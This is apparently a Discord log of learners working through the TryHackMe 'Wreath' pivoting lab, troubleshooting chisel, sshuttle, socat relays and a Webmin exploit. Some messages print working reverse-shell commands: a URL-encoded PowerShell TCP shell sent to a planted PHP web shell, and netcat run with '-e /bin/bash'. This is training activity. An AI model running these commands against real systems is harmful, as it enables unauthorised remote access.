dusky ridge Apr 8, 2021, 6:41 PM

#

i'll DM you then

lilac jasper Apr 8, 2021, 6:51 PM

#

i am not able to install chisel in my OS

dry pendant Apr 8, 2021, 6:57 PM

#

error message?

dense canopy Apr 8, 2021, 6:59 PM

#

Anyone else here working on 10.200.96.200? Can't ping the box... Just started with wreath and trying to enumerate the webserver... I see 3/8 to reset the Network

#

VPN isup

lilac jasper Apr 8, 2021, 6:59 PM

#

wait for 5 mins it will

lilac jasper Apr 8, 2021, 6:59 PM

#

dry pendant error message?

unable to locate the chisel

dry pendant Apr 8, 2021, 7:00 PM

#

screenshot what you're doing

lilac jasper Apr 8, 2021, 7:00 PM

#

okay wait

dry pendant Apr 8, 2021, 7:01 PM

#

which task are you on? 14?

lilac jasper Apr 8, 2021, 7:01 PM

#

$ sudo apt install chisel
[sudo] password for kash:
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package chisel

#

nop

#

36

dry pendant Apr 8, 2021, 7:02 PM

#

in task 14: "Before we can use chisel, we need to download appropriate binaries from the gtihub page", with a link

lilac jasper Apr 8, 2021, 7:03 PM

#

yes i say Darkstar video

dry pendant Apr 8, 2021, 7:04 PM

#

well, I'm just going off the instructions in the room

lilac jasper Apr 8, 2021, 7:05 PM

#

okay wait i think i got something

dry pendant Apr 8, 2021, 7:18 PM

#

hah, Muiri, Thomas uses cmder ❤️

merry robin Apr 8, 2021, 7:28 PM

#

~~Or, I do, and needed to develop a website~~

dry pendant Apr 8, 2021, 7:28 PM

#

either way.

#

❤️ cmder

lilac jasper Apr 8, 2021, 7:31 PM

#

the page is not opening on 10.200.90.100

#

even after opening two proxy

dry pendant Apr 8, 2021, 7:33 PM

#

you have a sshuttle to .150?

#

and an evil-winrm shell there? And an open firewall port? And a chisel server there? And a chisel client on your machine? And your proxy configured?

#

and an evil-winrm shell there? And an open firewall port? And a chisel server there? And a chisel client on your machine? And your proxy configured?

lilac jasper Apr 8, 2021, 7:44 PM

#

yes sir!

dry pendant Apr 8, 2021, 7:45 PM

#

does your chisel client on your local machine say it's connected?

lilac jasper Apr 8, 2021, 7:45 PM

#

yes sir!

dry pendant Apr 8, 2021, 7:45 PM

#

how'd you configure the proxy?

lilac jasper Apr 8, 2021, 7:45 PM

#

sshuttle

#

then on windows machine chisel server and on my machine chisel client

#

then i try to open the page on 10.200.90.100

#

i will see tomorrow now

dry pendant Apr 8, 2021, 7:47 PM

#

i'm betting your proxy is wrong

#

did you skip the proxychains.conf and foxyproxy setup?

dry pendant Apr 8, 2021, 8:12 PM

#

I'm having a heck of a time trying to upload a file to my local updog server from the .100 machine using curl. I've tried a variety of commands and options, many variations on:
curl -F "file=@C:\full path\output.txt" --url <my ip:port>, but curl doesn't like any of the things I've tried. I've been googling and trying a bunch of stuff. Any tips/suggestions?

#

Muiri- is c:\windows\temp\ supposed to be writable on the .100 machine? I thought I had previously used the php shell to curl netcat there, but it's not there now, and I can't write anything to that dir

river cedar Apr 8, 2021, 8:24 PM

#

um is the wreath down ?

#

i got internal server error

dry pendant Apr 8, 2021, 8:25 PM

#

there are many instances of the wreath network. Which one are you one (third octet of the IP) ? What are you doing when you get that error? ssh? browser? other?

river cedar Apr 8, 2021, 8:25 PM

#

nvm it works rn

sand phoenix Apr 8, 2021, 8:39 PM

#

have got some issues too, cant reach 10.200.111.200 anymore,.
Network ist up for 42m

i've already regenerated the *.ovpn, host still not resolvable

#

Tried ssh, http and imcp btw

dry pendant Apr 8, 2021, 9:12 PM

#

On task 42, I've compiled and copied my wrapper.exe to the target. When I execute it, I get the following error:
Unhandled Exception: System.ComponentModel.Win32Exception: The file or directory is corrupted and unreadable
at System.Diagnostics.Process.StartWithShellExecuteEx(ProcessStartInfo startInfo)
at Wrapper.Program.Main()

The program compiled without warnings or output of any kind, and the 'file Wrapper.exe' shows the same output as shown in the task42 instructions. Has anyone seen this before/have any ideas?

dry pendant Apr 8, 2021, 9:31 PM

#

the only thing I can spot that I did differently than the instructions is the path to nc-name.exe. In my case, I had to put it in the xampp /uploads dir, because c:\windows\temp is not writable for me (or from the php web shell). I think that changed since yesterday. Perhaps something/someone changed the permissions? The network reset about 18hr ago (not sure if it's been reset since then)

#

I've tried recompiling the .cs file with different paths: "%TEMP%\nc.exe", "c:\Users\T...\AppData\Local\Temp\nc.exe", no path (just filename), "C:\xamp....\uploads\nc.exe", etc. All of them give me the same error, except for the %TEMP%, which gives a 'system cannot find the file specified' error.

#

So am I compiling this thing wrong? Is it something broken on my machine? Or is this a directory permissions issue on the .100 box?

strange bison Apr 8, 2021, 9:46 PM

#

Should be nc-username...

dry pendant Apr 8, 2021, 9:47 PM

#

it is. I just shortened that here for brevity

fathom laurel Apr 8, 2021, 9:47 PM

#

I have a problem with the CVE-2019-15107 exploit at the beginning. Always got the output [-] Failed to connect to http://10.200.80.200:10000/. Can someone help me (no vpn problem)

dry pendant Apr 8, 2021, 9:50 PM

#

fathom laurel I have a problem with the CVE-2019-15107 exploit at the beginning. Always got th...

I don't recall having to put a port on mine. Maybe that's the issue?

fathom laurel Apr 8, 2021, 9:52 PM

#

dry pendant I don't recall having to put a port on mine. Maybe that's the issue?

I didn't do it either. The command I used was python3 CVE-2019-15107.py 10.200.80.200

dry pendant Apr 8, 2021, 9:54 PM

#

Sorry, I was looking at the wrong python file. That one does have a -p port option, which defaults to port 10000. But if it can't connect, maybe check to make sure the network is up, the host is up, and you're on the vpn?

fathom laurel Apr 8, 2021, 9:58 PM

#

dry pendant Sorry, I was looking at the wrong python file. That one does have a -p port opti...

No problem. I tried pinging the computer and restarting the VPN but it has no effect.

dry pendant Apr 8, 2021, 9:58 PM

#

what does your ping return?

fathom laurel Apr 8, 2021, 9:59 PM

#

the normal output 64 bytes...

dry pendant Apr 8, 2021, 9:59 PM

#

so no packets lost?

#

can you connect to the web server on the .200 machine, port 10000?

fathom laurel Apr 8, 2021, 10:00 PM

#

no

#

maybe its not a problem on my site

dry pendant Apr 8, 2021, 10:01 PM

#

i'm not sure, sorry 😦

strange bison Apr 8, 2021, 10:02 PM

#

Honestly sounds like your VPN is not connected.

fathom laurel Apr 8, 2021, 10:04 PM

#

I think not, bc I'm able to ping it and open the webserver on port 80

strange bison Apr 8, 2021, 10:04 PM

#

Ok, then it sounds like someone broke the machine. You'll want to vote for a reset.

fathom laurel Apr 8, 2021, 10:06 PM

#

I already did, just have to wait for 5 more people to vote, but thanks

dry pendant Apr 8, 2021, 10:16 PM

#

found the issue with my wrapper.exe- the nc-name.exe had gotten corrupted somehow. Had to re-transfer it

#

Muiri- typo, task 43 "Mimkatz passed Defender" should be past, I think.

merry robin Apr 8, 2021, 10:36 PM

#

Sorted

dry pendant Apr 8, 2021, 10:37 PM

#

You, sir, are speedy 🙂

#

Minor nitpick on the copying/moving command- some people might not initially see that you have to copy both (since you only show one command). I did a move *.bak ....., but I could see some people skipping the second file

dry pendant Apr 8, 2021, 11:02 PM

#

I can't delete my %TEMP%\nc-emptybuffer.exe- I think because it's still in use with my revshell

#

also, is there something doing an auto copy between ||c:\windows\temp, c:\users\T...\temp, and c:\xampp...uploads|| ? I see duplicate files there that I'm pretty sure I didn't put in those places.

#

Just finished the room. Very , very well done/written, Muiri. Huge thanks for putting all that together!

pallid vapor Apr 8, 2021, 11:20 PM

#

cool!

dry pendant Apr 9, 2021, 12:38 AM

#

Muiri, if you have a minute, can I DM you about something?

strange bison Apr 9, 2021, 12:40 AM

#

Muir's just gone to bed

dry pendant Apr 9, 2021, 12:40 AM

#

Ah, okay. Good 🙂

fervent obsidian Apr 9, 2021, 12:45 AM

#

The patches were all rolled out earlier in the week. What seems to be the problem?

pallid vapor Apr 9, 2021, 1:40 AM

#

oh I wasn’t in the know :) sorry

fervent obsidian Apr 9, 2021, 2:10 AM

#

No worries, just checking if there was another issue we missed.

lapis bloom Apr 9, 2021, 7:00 AM

#

is it necessary to make an ssh connection from my machine to the machine i got a reverse shell on, in order to acces the second in the chain?

#

asking this bcs im stuk at task 18

boreal fog Apr 9, 2021, 7:06 AM

#

I have a problem getting to the ||gitstack|| side of the network after sshuttle it’s says connected but when I put the ip in browser then i get thomaswreath.thm webpage. Any idea why?

digital tendon Apr 9, 2021, 7:06 AM

#

boreal fog I have a problem getting to the ||gitstack|| side of the network after sshuttle ...

you using the right ip address for gitstack?

boreal fog Apr 9, 2021, 7:07 AM

#

digital tendon you using the right ip address for gitstack?

From my Nmap scan from the server(binary)? Yes

digital tendon Apr 9, 2021, 7:07 AM

#

lapis bloom is it necessary to make an ssh connection from my machine to the machine i got a...

top of task 18 "Thinking about the interesting service on the next target that we discovered in the previous task, pick a pivoting technique and use it to connect to this service, using the web browser on your attacking machine! "

digital tendon Apr 9, 2021, 7:09 AM

#

boreal fog From my Nmap scan from the server(binary)? Yes

which ip address are you connecting to or trying to (can spoiler tag it I guess)

boreal fog Apr 9, 2021, 7:09 AM

#

digital tendon which ip address are you connecting to or trying to (can spoiler tag it I guess)

||10.200.91.200||

digital tendon Apr 9, 2021, 7:10 AM

#

ok thats the prod-serv

boreal fog Apr 9, 2021, 7:10 AM

#

Yep

digital tendon Apr 9, 2021, 7:10 AM

#

you should have enumerated the ip of the other servers

#

i imagnie

#

so try those

boreal fog Apr 9, 2021, 7:10 AM

#

Mmmm

digital tendon Apr 9, 2021, 7:10 AM

#

(though only one will be accessible)

boreal fog Apr 9, 2021, 7:11 AM

#

I sure would try again

boreal fog Apr 9, 2021, 7:11 AM

#

digital tendon (though only one will be accessible)

Ty

digital tendon Apr 9, 2021, 7:12 AM

#

I'm imagining you thought sshuttle would redirect the traffic of it's own host but it actually just acts as a network pivot for your attacker machine to access what it can access.

boreal fog Apr 9, 2021, 7:12 AM

#

Interesting

#

Yep

lapis bloom Apr 9, 2021, 7:32 AM

#

when i try to connect via shuttle it says key file permissions too open but when i change them to 600 it errors out saying permission denied

digital tendon Apr 9, 2021, 7:39 AM

#

it sounds like an issue with your id_rsa

#

can you SSH withit?

hollow pecan Apr 9, 2021, 7:55 AM

#

Hey guys is someone blue teaming the main server on the Wreath network?

#

The port running the vulnerable service is closed and I think the SSH key has changed...

#

haha

jaunty oak Apr 9, 2021, 12:14 PM

#

hollow pecan The port running the vulnerable service is closed and I think the SSH key has ch...

yea that is ture

#

I just checked, port 10000 is now closed and the ssh key have been changed

#

Pls vote for reset the network!!

#

and PLS be kind! do not messed thing up for another user!

digital tendon Apr 9, 2021, 12:20 PM

#

pls be kind and don't dm ppl without asking

#

kekwsanta

#

also not everyone on wreath is on the same "network" as I believe there are multiple instances of it

#

so you might just have to wait for Muir or someone to check it out, maybe try another room in the meantime 🙂

jaunty oak Apr 9, 2021, 12:20 PM

#

it is resetting now, only needed 1 more vote

#

thank anyway 😄

strange bison Apr 9, 2021, 12:31 PM

#

jaunty oak Pls vote for reset the network!!

When you're asking for a reset, you need to specify what network you're on. That's shown by the 3rd octet in the IPs.

fleet badge Apr 9, 2021, 5:43 PM

#

How did you solve the bonus question in task 20? About adapting the code..

merry robin Apr 9, 2021, 5:46 PM

#

fleet badge How did you solve the bonus question in task 20? About adapting the code..

I would suggest having a read through the first exploit (from my Github) to see how the pseudoshell there works

#

Essentially you would add a while True: loop on at the end of the exploit to accept a command from the user and send it off in a web request to your shell, at the simplest level

fleet badge Apr 9, 2021, 6:21 PM

#

Okay easy thanks 🙏

hallow eagle Apr 9, 2021, 6:53 PM

#

when i type "shell" n the pseudoshell i get asked to enter the IP of the server, i cannot enter anything there

#

is it only me?

dry pendant Apr 9, 2021, 7:09 PM

#

Muiri, if/when you have a minute, I have a DM question for you

merry robin Apr 9, 2021, 7:57 PM

#

dry pendant Muiri, if/when you have a minute, I have a DM question for you

Go for it

lapis bloom Apr 9, 2021, 9:16 PM

#

do i have to setup a reverse connections via ssh ? for task 18

dry pendant Apr 9, 2021, 9:32 PM

#

I don't have my notes in front of me, but you need ssh for the .200 box, and a sshuttle connection (or something else) for .150 and beyond

lapis bloom Apr 9, 2021, 9:32 PM

#

hmm yh i get an error when trying sshuttle -r root@10.200.112.200 --ssh-cmd "ssh -i id_rsa" 10.200.112.0/24 -x 10.200.112.200

#

Permissions 0644 for 'id_rsa.pub' are too open.

do i also have to chmod it to 600?

dry pendant Apr 9, 2021, 9:34 PM

#

yep

lapis bloom Apr 9, 2021, 9:36 PM

#

root@10.200.112.200: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
c : fatal: c : failed to establish ssh session (2)
``` when i chmodded  the .pub key to 600 :/

strange bison Apr 9, 2021, 9:37 PM

#

Why are you using the public key?

#

Why is it using the public key?

lapis bloom Apr 9, 2021, 9:40 PM

#

bcs... i am dumb >.<

#

but then i get this error when using the private key ```
└─# sshuttle -r root@10.200.112.200 --ssh-cmd "ssh -i id_rsa" 10.200.112.0/24 -x 10.200.112.200 99 ⨯
Load key "id_rsa": invalid format
root@10.200.112.200: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
c : fatal: c : failed to establish ssh session (2)

strange bison Apr 9, 2021, 9:41 PM

#

The command there shows just id_rsa so I'm confused

#

That "error" about invalid format doesn't usually prevent you logging in

#

Someone might have broken the box, check that the public key in authorized_keys hasn't been changed

lethal blaze Apr 9, 2021, 9:42 PM

#

I can still access it

strange bison Apr 9, 2021, 9:42 PM

#

Are you on 112?

lethal blaze Apr 9, 2021, 9:43 PM

#

oh my bad, im not

lapis bloom Apr 9, 2021, 9:43 PM

#

strange bison Are you on 112?

yes via reverse shell atm

strange bison Apr 9, 2021, 9:43 PM

#

Was talking to pi0neer

lapis bloom Apr 9, 2021, 9:44 PM

#

oh sorry

dry pendant Apr 9, 2021, 9:50 PM

#

make sure the last line of the id_rsa file is blank. That might be the source of the invalid format error

lapis bloom Apr 9, 2021, 9:52 PM

#

dry pendant make sure the last line of the id_rsa file is blank. That might be the source of...

thankk you! that fixed it

dry pendant Apr 9, 2021, 9:52 PM

#

I made that mistake before. Took me forever to figure that one out 🤦‍♂️

lapis bloom Apr 9, 2021, 9:53 PM

#

i could only imagine how much hair you had to pull out of your head lol xd

lethal blaze Apr 9, 2021, 9:58 PM

#

I may have found an issue with the questions on thm. On task 17 you are supposed to name the other machines ip addresses and the solutions offer 100 and 150 (as the last octets of the ip). However, when I scan the network, it tells me that 150 and 250 are the machines that are on the network. Ive tried a bash one-liner and nmap 🤷

dry pendant Apr 9, 2021, 10:01 PM

#

My guess would be your network is bugged. Which network are you on (third octet of the IP)?

lethal blaze Apr 9, 2021, 10:03 PM

#

107

dry pendant Apr 9, 2021, 10:03 PM

#

Perhaps Muri or James can comment on that. I can't really help there, sorry.

lethal blaze Apr 9, 2021, 10:05 PM

#

its weird because I was on another network before (118) and the scan performed the same

dry pendant Apr 9, 2021, 10:06 PM

#

That's odd. I'm relatively confident they are supposed to be 200, 150, 100 for all, but I could be wrong.

merry robin Apr 9, 2021, 10:10 PM

#

lethal blaze I may have found an issue with the questions on thm. On task 17 you are supposed...

250 is the VPN server. 100 might have been shutdown

lethal blaze Apr 9, 2021, 10:10 PM

#

Ohh alright, can I switch the network?

open nebula Apr 10, 2021, 4:12 AM

#

i have a question. I am currently in task 10 proxychains and foxy proxy

#

for using proxychains do i also have to start local port forwarding on the attack n=box?

hallow eagle Apr 10, 2021, 7:52 AM

#

i have a problem getting the full reverse shell, when i typ 'shell' in the pseudoshell it asks me for input. i cannot enter anything then

#

'did anyone else have this?

#

is there anyone who can see if my target is broken? I see alot of error messages

final olive Apr 10, 2021, 11:38 AM

#

If this is not the case, please check your IP and chosen port
If these are correct then there is likely a firewall preventing the reverse connection. Try choosing a well-known port such as 443 or 53 ... this is what i have been getting all day long

#

i wonder how some ther people have been able to accmoplish this

#

seems fairly straight forward when i watch Darksec's video

hallow eagle Apr 10, 2021, 11:48 AM

#

yes i watched the video from dark, there he just types 'shell' in the pseudoshell

#

he then enters his IP, this does not work for me (ie i cannot even enter anything and the pseudoshell is in a dead state)

#

and when i log in there are error messages about something (did not see that in his video)

#

whoami

Unhandled exception in event loop:
File "/usr/lib/python3.9/asyncio/events.py", line 80, in _run
self._context.run(self._callback, *self._args)
File "/usr/lib/python3/dist-packages/prompt_toolkit/input/vt100.py", line 168, in callback_wrapper
callback()
File "/usr/lib/python3/dist-packages/prompt_toolkit/application/application.py", line 673, in read_from_input
self.key_processor.process_keys()
File "/usr/lib/python3/dist-packages/prompt_toolkit/key_binding/key_processor.py", line 274, in process_keys
self._process_coroutine.send(key_press)
File "/usr/lib/python3/dist-packages/prompt_toolkit/key_binding/key_processor.py", line 186, in _process
self._call_handler(matches[-1], key_sequence=buffer[:])
File "/usr/lib/python3/dist-packages/prompt_toolkit/key_binding/key_processor.py", line 329, in _call_handler
handler.call(event)
File "/usr/lib/python3/dist-packages/prompt_toolkit/key_binding/key_bindings.py", line 102, in call
result = self.handler(event)
File "/usr/lib/python3/dist-packages/prompt_toolkit/shortcuts/prompt.py", line 796, in _accept_input
self.default_buffer.validate_and_handle()
File "/usr/lib/python3/dist-packages/prompt_toolkit/buffer.py", line 1877, in validate_and_handle
self.append_to_history()
File "/usr/lib/python3/dist-packages/prompt_toolkit/buffer.py", line 1385, in append_to_history
self.history.append_string(self.text)
File "/usr/lib/python3/dist-packages/prompt_toolkit/history.py", line 73, in append_string
self.store_string(string)
File "/usr/lib/python3/dist-packages/prompt_toolkit/history.py", line 294, in store_string
with open(self.filename, "ab") as f:

Exception [Errno 13] Permission denied: 'commands.txt'
roots ENTER to continue...

#

like that

merry robin Apr 10, 2021, 11:53 AM

#

@hallow eagle you're running the exploit somewhere you don't have permission to write to

surreal sail Apr 10, 2021, 12:05 PM

#

can anyone help me out i am stuck hop module

humble lintel Apr 10, 2021, 1:18 PM

#

but I am getting compilation error

hallow eagle Apr 10, 2021, 1:24 PM

#

merry robin <@423875348908867587> you're running the exploit somewhere you don't have permis...

that was stupid 🙂 ty

humble lintel Apr 10, 2021, 1:32 PM

#

humble lintel but I am getting compilation error

got it

lament briar Apr 10, 2021, 3:04 PM

#

hi! webserver seems destination unreashable

#

*unreachable

#

a rertart of my kali guest solved it

wise vortex Apr 10, 2021, 3:56 PM

#

I am having real problems with task 20 on wreath, I'm hoping someone can help.
I'm successfully running commands on git-serv using the specified exploit.
I'm running nc -lvp 8888 on my local machine.
I have a shell on prod-serv and have run ./socat tcp-l:15667 tcp:10.50.85.65:8888 & which is still running in the background.
I have confirmed that git-serv can talk to prod-serv on 15667 and I can create a reverse shell from prod-serv to my local machine (10.50.85.65) on 8888

I don't understand why my reverse shell from git-serv doesn't get forwarded to my local machine and I'm not sure how to troubleshoot this.

wise vortex Apr 10, 2021, 4:54 PM

#

This room is killing me

timid harbor Apr 10, 2021, 5:06 PM

#

hey guy's
if i left the network sleep my session like ssh etc ... gonna terminated ?

merry robin Apr 10, 2021, 5:11 PM

#

Yes

merry robin Apr 10, 2021, 5:12 PM

#

wise vortex I am having real problems with task 20 on wreath, I'm hoping someone can help. I...

Try connecting to your relay from your attacking machine

#

If you can do that then the firewall is configured correctly

simple osprey Apr 10, 2021, 6:49 PM

#

timid harbor hey guy's if i left the network sleep my session like ssh etc ... gonna termina...

If you still have the key you can connect back 😄

tough hazel Apr 11, 2021, 1:18 AM

#

Hi all, is it just me or Wreath is being very slow?

merry robin Apr 11, 2021, 1:20 AM

#

First I've heard of it, so possibly you

#

What's up with it?

tough hazel Apr 11, 2021, 1:21 AM

#

SSH connection randomly drops out and is slow to connect back on

merry robin Apr 11, 2021, 1:21 AM

#

That sounds like a VPN thing to me. Are you on the AttackBox?

tough hazel Apr 11, 2021, 1:21 AM

#

from the attacker's box **

merry robin Apr 11, 2021, 1:22 AM

#

Are you using your own VM or the THM AttackBox?

tough hazel Apr 11, 2021, 1:23 AM

#

THM AttackBox

merry robin Apr 11, 2021, 1:23 AM

#

Did you start the VPN manually?

tough hazel Apr 11, 2021, 1:26 AM

#

I will restart the system and try again, thanks a lot 🙂

merry robin Apr 11, 2021, 1:27 AM

#

Don't start the VPN directly -- it does it automatically

tough hazel Apr 11, 2021, 1:29 AM

#

Is the vpn inside the attackbox associated in any way with my private opvn connection, as in If I had both my VM and the attackbox connected will these clash together?

merry robin Apr 11, 2021, 1:30 AM

#

If you have the Wreath VPN connected in two places then there will be problems

#

But connecting the Wreath VPN alongside your regular VPN is fine

tough hazel Apr 11, 2021, 1:31 AM

#

make sense now thank you @merry robin

#

one more thing if I may ask, in task 19 I updated the IP address and converted from dos2unix and updated the exploit to exploit-myusername.php but I get a 404 when I run the exploit. it says the credentials are not correct. am I missing something here? there wasn't any reference to credentials in the task docs. I am using sshuttle to pivot

merry robin Apr 11, 2021, 1:34 AM

#

It sounds like you might have edited the wrong part of the exploit

tough hazel Apr 11, 2021, 1:38 AM

#

it's working now thanks! I am ashamed of what the pitfall was 😊

tough hazel Apr 11, 2021, 3:00 AM

#

Question: if I share a local folder on a newly created user account on .150, will it be shared in my current session/user or system wide with any users using the system?

open nebula Apr 11, 2021, 4:11 AM

#

I m at task 13 and tring to get a reverse shell with socat to my attacking machine.

#

I transfered both socat and nc executabbles on production server.

#

upon running nc on production server to get a reverse shell i get the following error. 2021/04/11 05:08:46 nc-drunkenstein[2510] E exactly 2 addresses required (there are 4); use option "-h" for help.I used the follwoing commands ./socat-drunkenstein tcp-l:8000 tcp:10.50.93.52:443 & and ./nc-drunkenstein 127.0.0.1 8000 -e /bin/bash

#

here is a screenshot

merry robin Apr 11, 2021, 4:19 AM

#

@open nebula your socat thinks it's netcat there

#

i.e. you seem to have uploaded them the wrong way round

open nebula Apr 11, 2021, 4:27 AM

#

I used curl to upload them.What should I do now?

wise vortex Apr 11, 2021, 8:07 AM

#

merry robin Try connecting to your relay from your attacking machine

Excellent idea, thanks

wise vortex Apr 11, 2021, 9:21 AM

#

merry robin Try connecting to your relay from your attacking machine

No dice I'm afraid.
My machine: nc -lvnp 4444
Web Server: ./sikotic-socat tcp-l:15666 tcp:10.50.85.65:4444 &
Payload: curl -X POST http://10.200.84.150/web/sikotic-exploit.php -d 'a=powershell.exe%20-c%20%22$client%20=%20New-Object%20System.Net.Sockets.TCPClient('10.200.84.200',15666);$stream%20=%20$client.GetStream();%5Bbyte%5B%5D%5D$bytes%20=%200..65535%7C%25%7B0%7D;while(($i%20=%20$stream.Read($bytes,%200,%20$bytes.Length))%20-ne%200)%7B;$data%20=%20(New-Object%20-TypeName%20System.Text.ASCIIEncoding).GetString($bytes,0,%20$i);$sendback%20=%20(iex%20$data%202%3E&1%20%7C%20Out-String%20);$sendback2%20=%20$sendback%20+%20'PS%20'%20+%20(pwd).Path%20+%20'%3E%20';$sendbyte%20=%20(%5Btext.encoding%5D::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()%7D;$client.Close()%220'

Web Server firewall:

[root@prod-serv ~]# firewall-cmd --list-all
public (active)
  target: default
  icmp-block-inversion: no
  interfaces: eth0
  sources: 
  services: cockpit dhcpv6-client http https ssh
  ports: 10000/tcp 21059/tcp 15666/tcp
  protocols: 
  masquerade: no
  forward-ports: 
  source-ports: 
  icmp-blocks: 
  rich rules:

What am I not understanding?

EDIT:
I've also just run ./sikotic-nc 127.0.0.1 15666 -e /bin/bash on WebServer and got a reverse shell, so I think the firewall and relay are working correctly, but my payload doesn't work.

wise vortex Apr 11, 2021, 9:40 AM

#

Very frustrating, it was the URL encoding in CyberChef. When I used your suggested website it worked.

wise vortex Apr 11, 2021, 11:12 AM

#

This room is incredible but I completely underestimated how much I was going to learn.

surreal sail Apr 11, 2021, 6:14 PM

#

Does anyone know why the webmin exploit is executed on port 80 and not 10000? (Like: exploit.py $IP:10000)

#

Oh nvm

#

Just read the code arguments

ruby slate Apr 12, 2021, 9:16 AM

#

Anyone else getting a Failed to connect to http://10.200.80.200:10000/ error when trying to run ./CVE-2019-15107.py? I'm connected to the Wreath VPN btw.

surreal sail Apr 12, 2021, 1:09 PM

#

Since the IPs have changed, i had to get a new || ssh key for machine-1|| but its always telling me || invalid format ||

#

didnt have that problem before

strange bison Apr 12, 2021, 1:11 PM

#

surreal sail Since the IPs have changed, i had to get a new || ssh key for machine-1|| but it...

The keys aren't different tho

surreal sail Apr 12, 2021, 1:11 PM

#

With my old one it refused the connection

#

Oh yeah theyre the same

#

didnt even notice

#

i reverted the key and its still invalid format Thonk

strange bison Apr 12, 2021, 1:29 PM

#

surreal sail With my old one it refused the connection

Refused connection = closed port

surreal sail Apr 12, 2021, 1:36 PM

#

why should the ssh port be closed?

merry robin Apr 12, 2021, 1:40 PM

#

Either the network is asleep or someone is trolling

brittle steeple Apr 12, 2021, 2:25 PM

#

Hi Guys I want send Json Data to target Ip how can i do it?

#

Sample: 89.163.142.192:30120/players.json

merry robin Apr 12, 2021, 3:30 PM

#

@brittle steeple
A) What does that have to do with Wreath?
B) Why are we targeting public IPs?

brittle steeple Apr 12, 2021, 3:30 PM

#

What?

merry robin Apr 12, 2021, 3:31 PM

#

What's on that IP?

velvet peak Apr 12, 2021, 3:36 PM

#

Good morning all. Looking for a bit of guidance on stabilizing the wreath remote shell

#

I've been trying for two days now and it keeps breaking the Shell

#

As soon as I foreground netcat it just completely breaks and just types characters when I hit ENTER or CTL+C

surreal sail Apr 12, 2021, 3:38 PM

#

I'm on task 13 and trying to get the reverse shell, I uploaded both netcat and socat executed the command but I don't get the reverse shell

#

and also I wasn't able to curl to get those binaries

#

so I used scp to upload it

velvet peak Apr 12, 2021, 3:39 PM

#

I'm stuck on task 6 because I just cant get past stabilizing the damn thing

surreal sail Apr 12, 2021, 3:44 PM

#

I first set up the listener

#

then

#

but I don't seem to get any shell

velvet peak Apr 12, 2021, 4:06 PM

#

surreal sail but I don't seem to get any shell

Didn't think you need to run netcat as root. I don't think I can help you but once I get to that question, if ever, I'll see what's up

fossil mango Apr 12, 2021, 4:06 PM

#

for lower ports you have to run it with root perms

surreal sail Apr 12, 2021, 7:37 PM

#

velvet peak Didn't think you need to run netcat as root. I don't think I can help you but on...

ports lower than 1000 require permissions bro

merry robin Apr 12, 2021, 7:43 PM

#

1024, technically

surreal sail Apr 12, 2021, 7:44 PM

#

yeah 🙂

velvet peak Apr 12, 2021, 11:09 PM

#

Learned something new today. Thanks guys

jaunty oak Apr 13, 2021, 12:08 PM

#

seem like webserver (.200) on my network is down (3rd octedt of my network = .101) can anyone check it?

fringe patio Apr 13, 2021, 12:52 PM

#

jaunty oak seem like webserver (`.200`) on my network is down (3rd octedt of my network = `...

wreath downvote

merry robin Apr 13, 2021, 12:52 PM

#

@fair breach is 101 down by any mischance?

fair breach Apr 13, 2021, 1:08 PM

#

Lemme take a look

#

@merry robin

#

.101.250 which is the vpn which is up the rest are stopped

merry robin Apr 13, 2021, 1:16 PM

#

@jaunty oak is the network started?

surreal sail Apr 13, 2021, 2:17 PM

#

Is root@prod-serv unable to ping the thm-attackbox ??

#

I got it ....

jaunty oak Apr 13, 2021, 4:39 PM

#

merry robin <@117221333120581637> is the network started?

it is working now. thank you

simple spire Apr 13, 2021, 5:36 PM

#

hello there

#

can anyone help me reset network?

#

am VIP and still there is reset button

#

idk how this is going xD

abstract grove Apr 13, 2021, 5:39 PM

#

You need to specify which subnet you're on

#

Otherwise people won't know what network needs to be reset

simple spire Apr 13, 2021, 5:40 PM

#

ah how I tell?

abstract grove Apr 13, 2021, 5:40 PM

#

Should be the third part of the ip

jaunty oak Apr 13, 2021, 5:40 PM

#

the 3rd octet of your ip

simple spire Apr 13, 2021, 5:41 PM

#

ah gotcha

#

10.50.91

#

ah anyone plz restart this )

empty void Apr 13, 2021, 5:49 PM

#

I've just started to exploit the network and it seems Port 10000 is closed and is refusing connections?

merry robin Apr 13, 2021, 5:50 PM

#

simple spire 10.50.91

That'll be 90 then

#

10.200.90.200, I imagine

merry robin Apr 13, 2021, 5:50 PM

#

empty void I've just started to exploit the network and it seems Port 10000 is closed and i...

Is the network started?

empty void Apr 13, 2021, 5:50 PM

#

I'm an idiot

#

I didn't notice the "start" button

#

Wait it is running

simple spire Apr 13, 2021, 5:51 PM

#

@merry robin yea

#

network is started @merry robin

merry robin Apr 13, 2021, 5:52 PM

#

empty void Wait it is running

If it's running and has been up for more than about 5 minutes, go for a reset

empty void Apr 13, 2021, 5:52 PM

#

Alright

simple spire Apr 13, 2021, 5:53 PM

#

I clicked reset it says 1/8

merry robin Apr 13, 2021, 5:54 PM

#

If someone's been messing around and brought a machine down, you'll find that the others in the network go for resets pretty quickly as they won't be able to access it either

simple spire Apr 13, 2021, 5:54 PM

#

ok

#

but can you reset network for me?

merry robin Apr 13, 2021, 5:56 PM

#

Not until I get my fancy management interface

simple spire Apr 13, 2021, 5:57 PM

#

ok

simple osprey Apr 13, 2021, 6:26 PM

#

Well for some reason mine is also down :C

#

Can't even ping the .200 machine

pallid vapor Apr 13, 2021, 6:50 PM

#

merry robin Not until I get my fancy management interface

woah 👀

strange bison Apr 13, 2021, 6:53 PM

#

Someone plz gib Muir and cry and spuki some nice management interfaces

merry robin Apr 13, 2021, 6:53 PM

#

They're in the works

pallid vapor Apr 13, 2021, 7:46 PM

#

for just networks right? just wondering blobknife

marble matrix Apr 13, 2021, 7:47 PM

#

hey guys, i got some questions over here

#

any of you can reach the 10.200.106.150 machine after setting up sshutle to the .200 server?

#

its appears to be up, since i can run an nmap scan to .150 from the .200 server, but when i pivot with sshutle i can't open the webpage on port 80 in my browser

#

varg

pallid vapor Apr 13, 2021, 7:51 PM

#

whats the error

marble matrix Apr 13, 2021, 7:51 PM

#

404 :/

strange bison Apr 13, 2021, 7:53 PM

#

So you can open it

marble matrix Apr 13, 2021, 7:53 PM

#

exactly :/

#

idk if im missing something

#

sshuttle -r root@10.200.106.200 --ssh-cmd "ssh -i id_rsa" 10.200.106.0/24 -x 10.200.106.200

